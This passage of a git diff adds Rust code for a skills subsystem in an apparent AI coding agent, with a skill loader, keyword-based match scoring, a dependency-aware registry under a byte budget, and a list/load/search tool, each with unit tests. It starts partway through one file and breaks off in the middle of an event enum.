.expect("invariant: write succeeds"); + + let search_path = temp.path().join(".forge").join("skills"); + let loader = SkillLoader::with_search_paths(vec![search_path.clone(), search_path]); + + let manifests = loader.discover(); + let count = manifests.iter().filter(|m| m.name == "dup-skill").count(); + assert_eq!(count, 1); + } + + #[test] + fn test_loader_load_content() { + let temp = tempfile::tempdir().expect("invariant: tempdir creation succeeds"); + let skill_dir = temp.path().join(".forge").join("skills").join("my-skill"); + std::fs::create_dir_all(&skill_dir).expect("invariant: dir creation succeeds"); + std::fs::write( + skill_dir.join("SKILL.md"), + "# My Skill\n\nDoes things.\n\nDetailed instructions here.", + ) + .expect("invariant: write succeeds"); + + let loader = SkillLoader::new(Some(temp.path())); + let content = loader.load_content("my-skill").expect("invariant: found"); + assert_eq!(content.manifest.name, "my-skill"); + assert!(content.content.contains("Detailed instructions here.")); + } + + #[test] + fn test_loader_load_content_with_frontmatter() { + let temp = tempfile::tempdir().expect("invariant: tempdir creation succeeds"); + let skill_dir = temp.path().join(".forge").join("skills").join("fm-skill"); + std::fs::create_dir_all(&skill_dir).expect("invariant: dir creation succeeds"); + std::fs::write( + skill_dir.join("SKILL.md"), + "---\nname: fm-skill\ndescription: \"FM desc\"\n---\n# FM Skill\n\nContent here.", + ) + .expect("invariant: write succeeds"); + + let loader = SkillLoader::new(Some(temp.path())); + let content = loader.load_content("fm-skill").expect("invariant: found"); + assert_eq!(content.manifest.description, "FM desc"); + assert!(content.content.contains("Content here.")); + } + + #[test] + fn test_loader_missing_skill_returns_none() { + let temp = tempfile::tempdir().expect("invariant: tempdir creation succeeds"); + let loader = SkillLoader::new(Some(temp.path())); + assert!(loader.load_content("nonexistent").is_none()); + } +} diff --git a/forgekit_agent/src/chat/skills/manifest.rs b/forgekit_agent/src/chat/skills/manifest.rs new file mode 100644 index 0000000..6edc79a --- /dev/null +++ b/forgekit_agent/src/chat/skills/manifest.rs @@ -0,0 +1,420 @@ +use std::path::PathBuf; + +pub const MIN_CONFIDENCE_SCORE: f64 = 2.0; +pub const MAX_INJECTED_BYTES: usize = 32_768; + +#[derive(Clone, Debug)] +pub struct SkillManifest { + pub name: String, + pub description: String, + pub location: PathBuf, + pub triggers: Vec, + pub depends_on: Vec, +} + +#[derive(Clone, Debug)] +pub struct SkillContent { + pub manifest: SkillManifest, + pub content: String, +} + +#[derive(Clone, Debug)] +pub struct SkillMatch { + pub manifest: SkillManifest, + pub score: f64, +} + +impl SkillManifest { + pub fn matches(&self, query: &str) -> bool { + self.match_score(query) >= MIN_CONFIDENCE_SCORE + } + + pub fn match_score(&self, query: &str) -> f64 { + let lower = query.to_lowercase(); + let words: Vec<&str> = lower.split_whitespace().collect(); + let mut score: f64 = 0.0; + + for trigger in &self.triggers { + let trigger_lower = trigger.to_lowercase(); + let trigger_words: Vec<&str> = trigger_lower.split_whitespace().collect(); + + for tw in &trigger_words { + for qw in &words { + if qw == tw { + score += 2.0; + } else if tw.len() >= 3 && qw.len() >= 3 && (qw.contains(tw) || tw.contains(qw)) + { + score += 1.0; + } + } + } + + if lower.contains(&trigger_lower) { + score += 3.0; + } + } + + let name_lower = self.name.to_lowercase(); + if lower.contains(&name_lower) { + score += 5.0; + } + let name_words: Vec<&str> = name_lower.split(&['-', '_'][..]).collect(); + for nw in &name_words { + for qw in &words { + if qw == nw { + score += 1.5; + } else if nw.len() >= 3 && qw.len() >= 3 && (qw.contains(nw) || nw.contains(qw)) { + score += 0.5; + } + } + } + + let desc_lower = self.description.to_lowercase(); + for qw in &words { + if qw.len() >= 3 && desc_lower.contains(qw) { + score += 0.3; + } + } + + score + } +} + +impl SkillContent { + pub fn system_prompt_fragment(&self) -> String { + let deps = if self.manifest.depends_on.is_empty() { + String::new() + } else { + format!( + "\n\nPrerequisites: load these skills first: {}", + self.manifest.depends_on.join(", ") + ) + }; + format!( + "## Skill: {}\n\n{}\n\nSource: {}{}", + self.manifest.name, + self.content, + self.manifest.location.display(), + deps, + ) + } + + pub fn fragment_byte_cost(&self) -> usize { + let name_bytes = self.manifest.name.len(); + let source_bytes = self.manifest.location.display().to_string().len(); + let deps_bytes: usize = if self.manifest.depends_on.is_empty() { + 0 + } else { + self.manifest + .depends_on + .iter() + .map(|d| d.len() + 2) + .sum::() + + 45 + }; + self.content.len() + name_bytes + source_bytes + deps_bytes + 40 + } + + pub fn system_prompt_fragment_bounded(&self, max_bytes: usize) -> String { + let fragment = self.system_prompt_fragment(); + if fragment.len() <= max_bytes { + return fragment; + } + + let target = max_bytes.saturating_sub(80); + let cut = find_char_boundary(&fragment, target); + let last_newline = fragment[..cut].rfind('\n').unwrap_or(0); + format!( + "{}\n\n[... truncated at {} bytes, full skill: {}]\n", + &fragment[..last_newline], + max_bytes, + self.manifest.location.display() + ) + } +} + +fn find_char_boundary(s: &str, max_byte: usize) -> usize { + if max_byte >= s.len() { + return s.len(); + } + let mut pos = max_byte; + while pos > 0 && !s.is_char_boundary(pos) { + pos -= 1; + } + pos +} + +impl PartialEq for SkillMatch { + fn eq(&self, other: &Self) -> bool { + self.manifest.name == other.manifest.name + } +} + +impl Eq for SkillMatch {} + +impl Ord for SkillMatch { + fn cmp(&self, other: &Self) -> std::cmp::Ordering { + other + .score + .partial_cmp(&self.score) + .unwrap_or(std::cmp::Ordering::Equal) + } +} + +impl PartialOrd for SkillMatch { + fn partial_cmp(&self, other: &Self) -> Option { + Some(self.cmp(other)) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_manifest_matches_trigger_above_threshold() { + let manifest = SkillManifest { + name: "grounded-coding".to_string(), + description: "Grounded coding skill".to_string(), + location: PathBuf::from("/skills/grounded-coding/SKILL.md"), + triggers: vec![ + "code change".to_string(), + "make code changes".to_string(), + "debugging".to_string(), + ], + depends_on: vec![], + }; + assert!(manifest.matches("I need to make code changes")); + assert!(manifest.matches("debugging a test failure")); + assert!(manifest.matches("use grounded-coding")); + assert!(!manifest.matches("write a poem")); + } + + #[test] + fn test_manifest_below_threshold_rejected() { + let manifest = SkillManifest { + name: "x".to_string(), + description: "A thing".to_string(), + location: PathBuf::new(), + triggers: vec!["zyxwvu".to_string()], + depends_on: vec![], + }; + assert!(!manifest.matches("completely unrelated query about poetry")); + } + + #[test] + fn test_skill_content_fragment() { + let content = SkillContent { + manifest: SkillManifest { + name: "test-skill".to_string(), + description: "A test".to_string(), + location: PathBuf::from("/skills/test-skill/SKILL.md"), + triggers: vec![], + depends_on: vec!["core".to_string()], + }, + content: "Do the thing.".to_string(), + }; + let fragment = content.system_prompt_fragment(); + assert!(fragment.contains("test-skill")); + assert!(fragment.contains("Do the thing.")); + assert!(fragment.contains("Prerequisites: load these skills first: core")); + } + + #[test] + fn test_fragment_byte_cost_approximates_actual() { + let content = SkillContent { + manifest: SkillManifest { + name: "test".to_string(), + description: String::new(), + location: PathBuf::from("/skills/test/SKILL.md"), + triggers: vec![], + depends_on: vec![], + }, + content: "Hello world".to_string(), + }; + let actual = content.system_prompt_fragment().len(); + let estimated = content.fragment_byte_cost(); + let diff = (actual as i64 - estimated as i64).unsigned_abs(); + assert!( + diff < 20, + "cost estimate off by {diff}: actual={actual} estimated={estimated}" + ); + } + + #[test] + fn test_system_prompt_fragment_bounded_truncates() { + let long_content = "x".repeat(1000); + let content = SkillContent { + manifest: SkillManifest { + name: "big-skill".to_string(), + description: String::new(), + location: PathBuf::from("/big"), + triggers: vec![], + depends_on: vec![], + }, + content: long_content, + }; + let bounded = content.system_prompt_fragment_bounded(200); + assert!(bounded.len() <= 300); + assert!(bounded.contains("truncated at")); + } + + #[test] + fn test_system_prompt_fragment_bounded_utf8_safe() { + let content = SkillContent { + manifest: SkillManifest { + name: "unicode".to_string(), + description: String::new(), + location: PathBuf::from("/u"), + triggers: vec![], + depends_on: vec![], + }, + content: "ζ—₯本θͺžγƒ†γ‚ΉγƒˆπŸŽ‰".repeat(100), + }; + let bounded = content.system_prompt_fragment_bounded(200); + assert!(bounded.len() <= 300, "bounded should not panic on UTF-8"); + } + + #[test] + fn test_system_prompt_fragment_bounded_under_limit() { + let content = SkillContent { + manifest: SkillManifest { + name: "small".to_string(), + description: String::new(), + location: PathBuf::new(), + triggers: vec![], + depends_on: vec![], + }, + content: "short".to_string(), + }; + let bounded = content.system_prompt_fragment_bounded(1024); + assert_eq!(bounded, content.system_prompt_fragment()); + } + + #[test] + fn test_match_score_exact_trigger() { + let manifest = SkillManifest { + name: "debugging".to_string(), + description: "Find root cause before proposing fixes".to_string(), + location: PathBuf::from("/skills/debugging/SKILL.md"), + triggers: vec!["bug".to_string(), "test failure".to_string()], + depends_on: vec![], + }; + let score_bug = manifest.match_score("there is a bug in the code"); + let score_unrelated = manifest.match_score("write a poem about cats"); + assert!(score_bug > score_unrelated); + assert!(score_bug >= MIN_CONFIDENCE_SCORE); + } + + #[test] + fn test_match_score_name_match() { + let manifest = SkillManifest { + name: "grounded-coding".to_string(), + description: "Graph-backed coding discipline".to_string(), + location: PathBuf::from("/skills/gc/SKILL.md"), + triggers: vec![], + depends_on: vec![], + }; + let score = manifest.match_score("use grounded coding for this task"); + assert!(score > 0.0); + } + + #[test] + fn test_skill_match_ordering() { + let m1 = SkillMatch { + manifest: SkillManifest { + name: "a".to_string(), + description: String::new(), + location: PathBuf::new(), + triggers: vec![], + depends_on: vec![], + }, + score: 1.0, + }; + let m2 = SkillMatch { + manifest: SkillManifest { + name: "b".to_string(), + description: String::new(), + location: PathBuf::new(), + triggers: vec![], + depends_on: vec![], + }, + score: 3.0, + }; + let mut sorted = [m1, m2]; + sorted.sort(); + assert_eq!(sorted[0].manifest.name, "b"); + assert_eq!(sorted[1].manifest.name, "a"); + } + + #[test] + fn test_routing_fix_bug_prefers_debugging_over_tdd() { + let debugging = SkillManifest { + name: "debugging".to_string(), + description: "Find root cause before proposing fixes".to_string(), + location: PathBuf::new(), + triggers: vec!["bug".to_string(), "unexpected behavior".to_string()], + depends_on: vec![], + }; + let tdd = SkillManifest { + name: "tdd".to_string(), + description: "Write tests first".to_string(), + location: PathBuf::new(), + triggers: vec![ + "implement".to_string(), + "feature".to_string(), + "fix".to_string(), + ], + depends_on: vec![], + }; + let score_debug = debugging.match_score("fix the bug in react.rs"); + let score_tdd = tdd.match_score("fix the bug in react.rs"); + assert!( + score_debug > score_tdd, + "debugging ({score_debug}) should outrank tdd ({score_tdd}) for bug queries" + ); + } + + #[test] + fn test_routing_verify_prefers_verification() { + let verification = SkillManifest { + name: "verification".to_string(), + description: "Run tests clippy audit deny gitleaks semgrep verify passed evidence" + .to_string(), + location: PathBuf::new(), + triggers: vec![ + "verify".to_string(), + "clippy".to_string(), + "tests".to_string(), + "audit".to_string(), + ], + depends_on: vec![], + }; + let other = SkillManifest { + name: "other".to_string(), + description: "Some other skill".to_string(), + location: PathBuf::new(), + triggers: vec!["something".to_string()], + depends_on: vec![], + }; + let score_verify = verification.match_score("verify the tests pass and check clippy"); + let score_other = other.match_score("verify the tests pass and check clippy"); + assert!(score_verify > score_other); + assert!(score_verify >= MIN_CONFIDENCE_SCORE); + } + + #[test] + fn test_find_char_boundary_ascii() { + assert_eq!(find_char_boundary("hello world", 5), 5); + assert_eq!(find_char_boundary("hello world", 100), 11); + } + + #[test] + fn test_find_char_boundary_utf8() { + let s = "ζ—₯本θͺžγƒ†γ‚Ήγƒˆ"; + let byte_3 = find_char_boundary(s, 3); + assert_eq!(byte_3, 3, "first char is 3 bytes"); + let byte_4 = find_char_boundary(s, 4); + assert_eq!(byte_4, 3, "4 lands mid-char, should back up to 3"); + } +} diff --git a/forgekit_agent/src/chat/skills/mod.rs b/forgekit_agent/src/chat/skills/mod.rs new file mode 100644 index 0000000..c200236 --- /dev/null +++ b/forgekit_agent/src/chat/skills/mod.rs @@ -0,0 +1,11 @@ +pub mod loader; +pub mod manifest; +pub mod registry; +pub mod skill_tool; + +pub use loader::SkillLoader; +pub use manifest::{ + SkillContent, SkillManifest, SkillMatch, MAX_INJECTED_BYTES, MIN_CONFIDENCE_SCORE, +}; +pub use registry::SkillRegistry; +pub use skill_tool::SkillTool; diff --git a/forgekit_agent/src/chat/skills/registry.rs b/forgekit_agent/src/chat/skills/registry.rs new file mode 100644 index 0000000..dcdbb5a --- /dev/null +++ b/forgekit_agent/src/chat/skills/registry.rs @@ -0,0 +1,440 @@ +use super::loader::SkillLoader; +use super::manifest::{SkillContent, SkillManifest, SkillMatch, MIN_CONFIDENCE_SCORE}; +use std::collections::HashMap; +use std::sync::Arc; +use tokio::sync::RwLock; + +pub struct SkillRegistry { + manifests: Vec, + loaded: Arc>>, + loader: SkillLoader, +} + +impl SkillRegistry { + pub fn new(loader: SkillLoader) -> Self { + let manifests = loader.discover(); + SkillRegistry { + manifests, + loaded: Arc::new(RwLock::new(HashMap::new())), + loader, + } + } + + pub fn empty() -> Self { + SkillRegistry { + manifests: Vec::new(), + loaded: Arc::new(RwLock::new(HashMap::new())), + loader: SkillLoader::new(None), + } + } + + pub fn available_skills(&self) -> &[SkillManifest] { + &self.manifests + } + + pub fn find_matching(&self, query: &str) -> Vec<&SkillManifest> { + self.manifests.iter().filter(|m| m.matches(query)).collect() + } + + pub fn rank_matching(&self, query: &str) -> Vec { + let mut matches: Vec = self + .manifests + .iter() + .filter_map(|m| { + let score = m.match_score(query); + if score >= MIN_CONFIDENCE_SCORE { + Some(SkillMatch { + manifest: m.clone(), + score, + }) + } else { + None + } + }) + .collect(); + matches.sort(); + matches + } + + pub fn has_skill(&self, name: &str) -> bool { + self.manifests.iter().any(|m| m.name == name) + } + + pub async fn load(&self, name: &str) -> Option { + { + let loaded = self.loaded.read().await; + if let Some(content) = loaded.get(name) { + return Some(content.clone()); + } + } + + let content = self.loader.load_content(name)?; + + self.loaded + .write() + .await + .insert(name.to_string(), content.clone()); + + Some(content) + } + + pub async fn load_with_deps(&self, name: &str) -> Vec { + let mut results = Vec::new(); + let mut seen = std::collections::HashSet::new(); + self.load_deps_recursive(name, &mut seen, &mut results) + .await; + results + } + + fn load_deps_recursive<'a>( + &'a self, + name: &'a str, + seen: &'a mut std::collections::HashSet, + results: &'a mut Vec, + ) -> std::pin::Pin + Send + 'a>> { + Box::pin(async move { + if seen.contains(name) { + return; + } + seen.insert(name.to_string()); + + let content = match self.load(name).await { + Some(c) => c, + None => return, + }; + + for dep in &content.manifest.depends_on { + self.load_deps_recursive(dep, seen, results).await; + } + + results.push(content); + }) + } + + pub async fn rank_and_load( + &self, + query: &str, + max_root_skills: usize, + max_bytes: usize, + ) -> Vec { + let ranked = self.rank_matching(query); + let mut results = Vec::new(); + let mut seen = std::collections::HashSet::new(); + let mut total_bytes = 0usize; + let mut root_count = 0usize; + + for skill_match in ranked.iter() { + if root_count >= max_root_skills { + break; + } + + let root_name = &skill_match.manifest.name; + if seen.contains(root_name.as_str()) { + continue; + } + + let contents = self.load_with_deps(root_name).await; + root_count += 1; + + for content in &contents { + let c_name = &content.manifest.name; + if seen.contains(c_name.as_str()) { + continue; + } + + let cost = content.fragment_byte_cost(); + if total_bytes + cost > max_bytes { + continue; + } + + seen.insert(c_name.clone()); + total_bytes += cost; + results.push(content.clone()); + } + } + + results + } + + pub async fn loaded_skills(&self) -> Vec { + self.loaded.read().await.keys().cloned().collect() + } + + pub fn skill_names(&self) -> Vec<&str> { + self.manifests.iter().map(|m| m.name.as_str()).collect() + } +} + +#[cfg(test)] +mod tests { + use super::*; + + const MAX_BYTES: usize = super::super::manifest::MAX_INJECTED_BYTES; + + #[test] + fn test_empty_registry() { + let reg = SkillRegistry::empty(); + assert!(reg.available_skills().is_empty()); + assert!(reg.skill_names().is_empty()); + } + + #[test] + fn test_rank_matching() { + let temp = tempfile::tempdir().expect("invariant: tempdir creation succeeds"); + + let skill_a_dir = temp.path().join(".forge").join("skills").join("debugging"); + std::fs::create_dir_all(&skill_a_dir).expect("invariant: dir creation succeeds"); + std::fs::write( + skill_a_dir.join("SKILL.md"), + "---\nname: debugging\ndescription: \"Find root cause before proposing fixes\"\n---\n# Debugging\n\nTriggers: bug, test failure, unexpected behavior", + ) + .expect("invariant: write succeeds"); + + let skill_b_dir = temp.path().join(".forge").join("skills").join("planning"); + std::fs::create_dir_all(&skill_b_dir).expect("invariant: dir creation succeeds"); + std::fs::write( + skill_b_dir.join("SKILL.md"), + "---\nname: planning\ndescription: \"Plan a feature or refactor\"\n---\n# Planning\n\nTriggers: plan, feature, refactor", + ) + .expect("invariant: write succeeds"); + + let loader = + SkillLoader::with_search_paths(vec![temp.path().join(".forge").join("skills")]); + let reg = SkillRegistry::new(loader); + + let ranked = reg.rank_matching("there is a bug in the code"); + assert!(!ranked.is_empty()); + assert_eq!(ranked[0].manifest.name, "debugging"); + assert!(ranked[0].score >= MIN_CONFIDENCE_SCORE); + } + + #[test] + fn test_rank_matching_below_threshold() { + let temp = tempfile::tempdir().expect("invariant: tempdir creation succeeds"); + let skill_dir = temp.path().join(".forge").join("skills").join("obscure"); + std::fs::create_dir_all(&skill_dir).expect("invariant: dir creation succeeds"); + std::fs::write( + skill_dir.join("SKILL.md"), + "---\nname: obscure\ndescription: \"Does zyxwvu things\"\n---\n# Obscure\n\nTriggers: zyxwvu", + ) + .expect("invariant: write succeeds"); + + let loader = + SkillLoader::with_search_paths(vec![temp.path().join(".forge").join("skills")]); + let reg = SkillRegistry::new(loader); + + let ranked = reg.rank_matching("write a poem about cats"); + assert!(ranked.is_empty(), "should reject below-threshold noise"); + } + + #[tokio::test] + async fn test_load_and_cache() { + let temp = tempfile::tempdir().expect("invariant: tempdir creation succeeds"); + let skill_dir = temp.path().join(".forge").join("skills").join("cache-test"); + std::fs::create_dir_all(&skill_dir).expect("invariant: dir creation succeeds"); + std::fs::write( + skill_dir.join("SKILL.md"), + "# Cache Test\n\nContent here.\nTriggers: caching, test, content", + ) + .expect("invariant: write succeeds"); + + let loader = + SkillLoader::with_search_paths(vec![temp.path().join(".forge").join("skills")]); + let reg = SkillRegistry::new(loader); + + let content = reg.load("cache-test").await.expect("invariant: loads"); + assert!(content.content.contains("Content here.")); + + let loaded = reg.loaded_skills().await; + assert!(loaded.contains(&"cache-test".to_string())); + } + + #[tokio::test] + async fn test_load_with_deps_recursive() { + let temp = tempfile::tempdir().expect("invariant: tempdir creation succeeds"); + + let core_dir = temp.path().join(".forge").join("skills").join("core"); + std::fs::create_dir_all(&core_dir).expect("invariant: dir creation succeeds"); + std::fs::write( + core_dir.join("SKILL.md"), + "---\nname: core\ndescription: \"Core skill\"\n---\n# Core\n\nCore content.", + ) + .expect("invariant: write succeeds"); + + let tools_dir = temp.path().join(".forge").join("skills").join("tools"); + std::fs::create_dir_all(&tools_dir).expect("invariant: dir creation succeeds"); + std::fs::write( + tools_dir.join("SKILL.md"), + "---\nname: tools\ndescription: \"Tools skill\"\ndepends_on: [\"core\"]\n---\n# Tools\n\nTools content.", + ) + .expect("invariant: write succeeds"); + + let tdd_dir = temp.path().join(".forge").join("skills").join("tdd"); + std::fs::create_dir_all(&tdd_dir).expect("invariant: dir creation succeeds"); + std::fs::write( + tdd_dir.join("SKILL.md"), + "---\nname: tdd\ndescription: \"TDD skill\"\ndepends_on: [\"tools\"]\n---\n# TDD\n\nTriggers: implement, test", + ) + .expect("invariant: write succeeds"); + + let loader = + SkillLoader::with_search_paths(vec![temp.path().join(".forge").join("skills")]); + let reg = SkillRegistry::new(loader); + + let contents = reg.load_with_deps("tdd").await; + assert_eq!(contents.len(), 3, "should load core -> tools -> tdd"); + let names: Vec<&str> = contents.iter().map(|c| c.manifest.name.as_str()).collect(); + assert_eq!(names[0], "core"); + assert_eq!(names[1], "tools"); + assert_eq!(names[2], "tdd"); + } + + #[tokio::test] + async fn test_load_with_deps_no_cycle() { + let temp = tempfile::tempdir().expect("invariant: tempdir creation succeeds"); + + let a_dir = temp.path().join(".forge").join("skills").join("a"); + std::fs::create_dir_all(&a_dir).expect("invariant: dir creation succeeds"); + std::fs::write( + a_dir.join("SKILL.md"), + "---\nname: a\ndescription: \"A\"\ndepends_on: [\"b\"]\n---\n# A", + ) + .expect("invariant: write succeeds"); + + let b_dir = temp.path().join(".forge").join("skills").join("b"); + std::fs::create_dir_all(&b_dir).expect("invariant: dir creation succeeds"); + std::fs::write( + b_dir.join("SKILL.md"), + "---\nname: b\ndescription: \"B\"\ndepends_on: [\"a\"]\n---\n# B", + ) + .expect("invariant: write succeeds"); + + let loader = + SkillLoader::with_search_paths(vec![temp.path().join(".forge").join("skills")]); + let reg = SkillRegistry::new(loader); + + let contents = reg.load_with_deps("a").await; + assert_eq!(contents.len(), 2, "should handle cycles via seen set"); + } + + #[tokio::test] + async fn test_rank_and_load_deps_dont_consume_root_slots() { + let temp = tempfile::tempdir().expect("invariant: tempdir creation succeeds"); + + let core_dir = temp.path().join(".forge").join("skills").join("core"); + std::fs::create_dir_all(&core_dir).expect("invariant: dir creation succeeds"); + std::fs::write( + core_dir.join("SKILL.md"), + "---\nname: core\ndescription: \"Core skill\"\n---\n# Core\n\nCore.", + ) + .expect("invariant: write succeeds"); + + let tdd_dir = temp.path().join(".forge").join("skills").join("tdd"); + std::fs::create_dir_all(&tdd_dir).expect("invariant: dir creation succeeds"); + std::fs::write( + tdd_dir.join("SKILL.md"), + "---\nname: tdd\ndescription: \"TDD skill\"\ndepends_on: [\"core\"]\n---\n# TDD\n\nTriggers: implement, test, tdd", + ) + .expect("invariant: write succeeds"); + + let loader = + SkillLoader::with_search_paths(vec![temp.path().join(".forge").join("skills")]); + let reg = SkillRegistry::new(loader); + + let contents = reg + .rank_and_load("implement a tdd test", 1, MAX_BYTES) + .await; + let names: Vec<&str> = contents.iter().map(|c| c.manifest.name.as_str()).collect(); + assert!( + names.contains(&"tdd"), + "root skill should be present even with 1 dep: {:?}", + names + ); + assert!( + names.contains(&"core"), + "dep should be present alongside root: {:?}", + names + ); + } + + #[tokio::test] + async fn test_rank_and_load_respects_byte_budget() { + let temp = tempfile::tempdir().expect("invariant: tempdir creation succeeds"); + + let big_dir = temp.path().join(".forge").join("skills").join("big-skill"); + std::fs::create_dir_all(&big_dir).expect("invariant: dir creation succeeds"); + std::fs::write( + big_dir.join("SKILL.md"), + format!( + "---\nname: big-skill\ndescription: \"Big skill\"\n---\n# Big\n\n{}", + "x".repeat(500) + ), + ) + .expect("invariant: write succeeds"); + + let loader = + SkillLoader::with_search_paths(vec![temp.path().join(".forge").join("skills")]); + let reg = SkillRegistry::new(loader); + + let contents = reg.rank_and_load("big skill query", 5, 100).await; + let total: usize = contents.iter().map(|c| c.fragment_byte_cost()).sum(); + assert!( + total <= 100, + "total bytes should respect budget, got {total}" + ); + } + + #[tokio::test] + async fn test_rank_and_load() { + let temp = tempfile::tempdir().expect("invariant: tempdir creation succeeds"); + + let skill_dir = temp + .path() + .join(".forge") + .join("skills") + .join("my-code-skill"); + std::fs::create_dir_all(&skill_dir).expect("invariant: dir creation succeeds"); + std::fs::write( + skill_dir.join("SKILL.md"), + "# Code Skill\n\nTriggers: code change, debugging", + ) + .expect("invariant: write succeeds"); + + let loader = + SkillLoader::with_search_paths(vec![temp.path().join(".forge").join("skills")]); + let reg = SkillRegistry::new(loader); + + let contents = reg + .rank_and_load("I need to make code changes", 3, MAX_BYTES) + .await; + assert_eq!(contents.len(), 1); + assert_eq!(contents[0].manifest.name, "my-code-skill"); + } + + #[tokio::test] + async fn test_find_matching() { + let temp = tempfile::tempdir().expect("invariant: tempdir creation succeeds"); + let skill_dir = temp + .path() + .join(".forge") + .join("skills") + .join("my-code-skill"); + std::fs::create_dir_all(&skill_dir).expect("invariant: dir creation succeeds"); + std::fs::write( + skill_dir.join("SKILL.md"), + "# Code Skill\n\nTriggers: code change, debugging", + ) + .expect("invariant: write succeeds"); + + let loader = + SkillLoader::with_search_paths(vec![temp.path().join(".forge").join("skills")]); + let reg = SkillRegistry::new(loader); + + let matches = reg.find_matching("I need to make code changes"); + assert_eq!(matches.len(), 1); + assert_eq!(matches[0].name, "my-code-skill"); + + let no_matches = reg.find_matching("write a poem"); + assert!(no_matches.is_empty()); + } +} diff --git a/forgekit_agent/src/chat/skills/skill_tool.rs b/forgekit_agent/src/chat/skills/skill_tool.rs new file mode 100644 index 0000000..f224733 --- /dev/null +++ b/forgekit_agent/src/chat/skills/skill_tool.rs @@ -0,0 +1,208 @@ +use super::loader::SkillLoader; +use super::registry::SkillRegistry; +use crate::chat::tools::registry::AsyncTool; +use crate::chat::tools::types::ToolDef; +use async_trait::async_trait; +use std::sync::Arc; + +pub struct SkillTool { + registry: Arc, +} + +impl SkillTool { + pub fn new(registry: Arc) -> Self { + SkillTool { registry } + } + + pub fn with_loader(loader: SkillLoader) -> Self { + let registry = Arc::new(SkillRegistry::new(loader)); + SkillTool { registry } + } + + pub fn registry(&self) -> Arc { + self.registry.clone() + } +} + +#[async_trait] +impl AsyncTool for SkillTool { + async fn call(&self, arguments: serde_json::Value) -> Result { + let command = arguments["command"] + .as_str() + .ok_or_else(|| "Missing 'command' parameter".to_string())?; + + match command { + "list" => { + let skills = self.registry.available_skills(); + if skills.is_empty() { + return Ok("No skills available.".to_string()); + } + let lines: Vec = skills + .iter() + .map(|s| { + let triggers = if s.triggers.is_empty() { + String::new() + } else { + format!(" (triggers: {})", s.triggers.join(", ")) + }; + format!("- {}{}: {}", s.name, triggers, s.description) + }) + .collect(); + Ok(format!( + "Available skills ({}):\n{}", + skills.len(), + lines.join("\n") + )) + } + "load" => { + let name = arguments["name"] + .as_str() + .ok_or_else(|| "Missing 'name' parameter for load".to_string())?; + + let content = self + .registry + .load(name) + .await + .ok_or_else(|| format!("Skill '{name}' not found"))?; + + Ok(content.system_prompt_fragment()) + } + "search" => { + let query = arguments["query"] + .as_str() + .ok_or_else(|| "Missing 'query' parameter for search".to_string())?; + + let matches = self.registry.find_matching(query); + if matches.is_empty() { + return Ok(format!("No skills matching '{query}'.")); + } + let lines: Vec = matches + .iter() + .map(|s| format!("- {}: {}", s.name, s.description)) + .collect(); + Ok(format!( + "Skills matching '{}' ({}):\n{}", + query, + matches.len(), + lines.join("\n") + )) + } + _ => Err(format!( + "Unknown skill command: '{command}'. Available: list, load, search" + )), + } + } + + fn definition(&self) -> ToolDef { + ToolDef::new( + "skill", + "Manage and load skills. Commands: list (show available skills), load (load a skill's instructions into context), search (find skills matching a query). Skills provide specialized workflows and instructions.", + serde_json::json!({ + "type": "object", + "properties": { + "command": { + "type": "string", + "enum": ["list", "load", "search"], + "description": "The skill command to execute" + }, + "name": { + "type": "string", + "description": "Skill name (required for load)" + }, + "query": { + "type": "string", + "description": "Search query (required for search)" + } + }, + "required": ["command"] + }), + ) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn setup_test_env() -> (tempfile::TempDir, SkillTool) { + let temp = tempfile::tempdir().expect("invariant: tempdir creation succeeds"); + let skill_dir = temp.path().join(".forge").join("skills").join("test-skill"); + std::fs::create_dir_all(&skill_dir).expect("invariant: dir creation succeeds"); + std::fs::write( + skill_dir.join("SKILL.md"), + "# Test Skill\n\nA skill for testing.\nTriggers: testing, verify", + ) + .expect("invariant: write succeeds"); + let loader = + SkillLoader::with_search_paths(vec![temp.path().join(".forge").join("skills")]); + let tool = SkillTool::with_loader(loader); + (temp, tool) + } + + #[tokio::test] + async fn test_skill_list() { + let (_temp, tool) = setup_test_env(); + let result = tool + .call(serde_json::json!({"command": "list"})) + .await + .expect("invariant: succeeds"); + assert!(result.contains("test-skill")); + assert!(result.contains("testing")); + } + + #[tokio::test] + async fn test_skill_load() { + let (_temp, tool) = setup_test_env(); + let result = tool + .call(serde_json::json!({"command": "load", "name": "test-skill"})) + .await + .expect("invariant: succeeds"); + assert!(result.contains("Test Skill")); + assert!(result.contains("A skill for testing.")); + } + + #[tokio::test] + async fn test_skill_load_not_found() { + let (_temp, tool) = setup_test_env(); + let result = tool + .call(serde_json::json!({"command": "load", "name": "nonexistent"})) + .await; + assert!(result.is_err()); + assert!(result.unwrap_err().contains("not found")); + } + + #[tokio::test] + async fn test_skill_search() { + let (_temp, tool) = setup_test_env(); + let result = tool + .call(serde_json::json!({"command": "search", "query": "verify"})) + .await + .expect("invariant: succeeds"); + assert!(result.contains("test-skill")); + } + + #[tokio::test] + async fn test_skill_search_no_match() { + let (_temp, tool) = setup_test_env(); + let result = tool + .call(serde_json::json!({"command": "search", "query": "cooking"})) + .await + .expect("invariant: succeeds"); + assert!(result.contains("No skills matching")); + } + + #[tokio::test] + async fn test_skill_unknown_command() { + let (_temp, tool) = setup_test_env(); + let result = tool.call(serde_json::json!({"command": "delete"})).await; + assert!(result.is_err()); + assert!(result.unwrap_err().contains("Unknown skill command")); + } + + #[test] + fn test_skill_tool_definition() { + let (_temp, tool) = setup_test_env(); + let def = tool.definition(); + assert_eq!(def.name, "skill"); + } +} diff --git a/forgekit_agent/src/chat/step.rs b/forgekit_agent/src/chat/step.rs new file mode 100644 index 0000000..ae52c91 --- /dev/null +++ b/forgekit_agent/src/chat/step.rs @@ -0,0 +1,189 @@ +use crate::chat::stream::StreamEvent; +use crate::chat::types::Usage; + +#[derive(Clone, Debug)] +#[non_exhaustive] +pub enum StepEvent { + SessionStarted { + session_id: String, + }, + IterationStarted { + iteration: usize, + max_iterations: usize, + }, + RetrievalInjected { + num_snippets: usize, + }, + LlmError { + iteration: usize, + consecutive_errors: usize, + error: String, + }, + LlmResponseReceived { + iteration: usize, + usage: Usage, + has_tool_calls: bool, + }, + LlmStreamEvent { + event: StreamEvent, + }, + PreToolHookBlocked { + tool_name: String, + reason: String, + }, + ToolCallStarted { + iteration: usize, + tool_name: String, + tool_call_id: String, + }, + ToolCallCompleted { + iteration: usize, + tool_name: String, + tool_call_id: String, + success: bool, + output_bytes: usize, + truncated: bool, + output_preview: String, + }, + VerificationFailed { + 